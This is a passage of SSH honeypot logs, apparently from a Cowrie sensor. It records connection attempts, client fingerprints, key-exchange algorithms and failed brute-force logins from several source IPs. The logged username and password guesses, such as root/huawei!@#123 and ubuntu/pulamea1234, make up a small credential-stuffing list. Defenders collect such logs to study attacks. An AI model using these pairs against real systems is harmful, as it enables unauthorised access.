com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:01.447267Z","src_ip":"159.203.92.129","session":"1e205cfd75b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"1234","message":"login attempt [app/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:01.478524Z","src_ip":"159.203.92.129","session":"1e205cfd75b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:02.493788Z","src_ip":"159.203.92.129","session":"1e205cfd75b4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:03.683562Z","src_ip":"122.168.114.167","session":"96c3b56a5f52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:03.687624Z","src_ip":"122.168.114.167","session":"96c3b56a5f52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":38684,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf4d58394c91","protocol":"ssh","message":"New connection: 80.94.92.168:38684 (159.203.135.109:22) [session: bf4d58394c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:03.927211Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:04.039309Z","src_ip":"80.94.92.168","session":"bf4d58394c91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":33820,"dst_ip":"10.17.0.5","dst_port":22,"session":"e08771cd2cc0","protocol":"ssh","message":"New connection: 182.253.79.194:33820 (10.17.0.5:22) [session: e08771cd2cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:16.839823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:16.844616Z","src_ip":"182.253.79.194","session":"e08771cd2cc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:17.118603Z","src_ip":"182.253.79.194","session":"e08771cd2cc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei!@#123","message":"login attempt [root/huawei!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:18.244935Z","src_ip":"182.253.79.194","session":"e08771cd2cc0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:19.522028Z","src_ip":"182.253.79.194","session":"e08771cd2cc0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:23.401464Z","src_ip":"122.168.114.167","session":"96c3b56a5f52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.6","message":"Connection lost after 30.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:27.846075Z","src_ip":"122.168.114.167","session":"96c3b56a5f52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":56936,"dst_ip":"159.203.135.109","dst_port":22,"session":"f60ba2c2d2f1","protocol":"ssh","message":"New connection: 148.216.28.11:56936 (159.203.135.109:22) [session: f60ba2c2d2f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:31.267796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:31.271966Z","src_ip":"148.216.28.11","session":"f60ba2c2d2f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:31.339528Z","src_ip":"148.216.28.11","session":"f60ba2c2d2f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pulamea1234","message":"login attempt [ubuntu/pulamea1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:31.638746Z","src_ip":"148.216.28.11","session":"f60ba2c2d2f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:32.708512Z","src_ip":"148.216.28.11","session":"f60ba2c2d2f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":38198,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d5f17b573ba","protocol":"ssh","message":"New connection: 122.168.114.167:38198 (159.203.135.109:22) [session: 5d5f17b573ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:39.780903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:43.668778Z","src_ip":"122.168.114.167","session":"5d5f17b573ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:43.672361Z","src_ip":"122.168.114.167","session":"5d5f17b573ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":40940,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9239ec5b429","protocol":"ssh","message":"New connection: 2.203.183.35:40940 (159.203.135.109:22) [session: d9239ec5b429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:46.419728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:46.424702Z","src_ip":"2.203.183.35","session":"d9239ec5b429","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:46.529446Z","src_ip":"2.203.183.35","session":"d9239ec5b429","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47872,"dst_ip":"159.203.135.109","dst_port":22,"session":"0274ce290988","protocol":"ssh","message":"New connection: 159.203.92.129:47872 (159.203.135.109:22) [session: 0274ce290988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:46.783337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:46.787505Z","src_ip":"159.203.92.129","session":"0274ce290988","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:46.790554Z","src_ip":"159.203.92.129","session":"0274ce290988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"12345","message":"login attempt [app/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:46.809460Z","src_ip":"159.203.92.129","session":"0274ce290988","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"111111","message":"login attempt [ftpuser/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:47.035369Z","src_ip":"2.203.183.35","session":"d9239ec5b429","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:47.815204Z","src_ip":"159.203.92.129","session":"0274ce290988","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:49:48.170918Z","src_ip":"2.203.183.35","session":"d9239ec5b429","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!qaz@WSX","message":"login attempt [root/!qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:02.446699Z","src_ip":"122.168.114.167","session":"5d5f17b573ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.2","message":"Connection lost after 27.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:07.028939Z","src_ip":"122.168.114.167","session":"5d5f17b573ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":45468,"dst_ip":"159.203.135.109","dst_port":22,"session":"61643a7f6edf","protocol":"ssh","message":"New connection: 148.216.28.11:45468 (159.203.135.109:22) [session: 61643a7f6edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:15.957095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:15.962569Z","src_ip":"148.216.28.11","session":"61643a7f6edf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:16.033411Z","src_ip":"148.216.28.11","session":"61643a7f6edf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"abc123","message":"login attempt [user3/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:16.336694Z","src_ip":"148.216.28.11","session":"61643a7f6edf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:17.412046Z","src_ip":"148.216.28.11","session":"61643a7f6edf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":40610,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cd0cef480e0","protocol":"ssh","message":"New connection: 122.168.114.167:40610 (159.203.135.109:22) [session: 6cd0cef480e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:21.212182Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":25586,"dst_ip":"10.17.0.5","dst_port":22,"session":"52286ce623ee","protocol":"ssh","message":"New connection: 182.253.79.194:25586 (10.17.0.5:22) [session: 52286ce623ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:21.423859Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:50:21.429393Z","src_ip":"182.253.79.194","session":"52286ce623ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh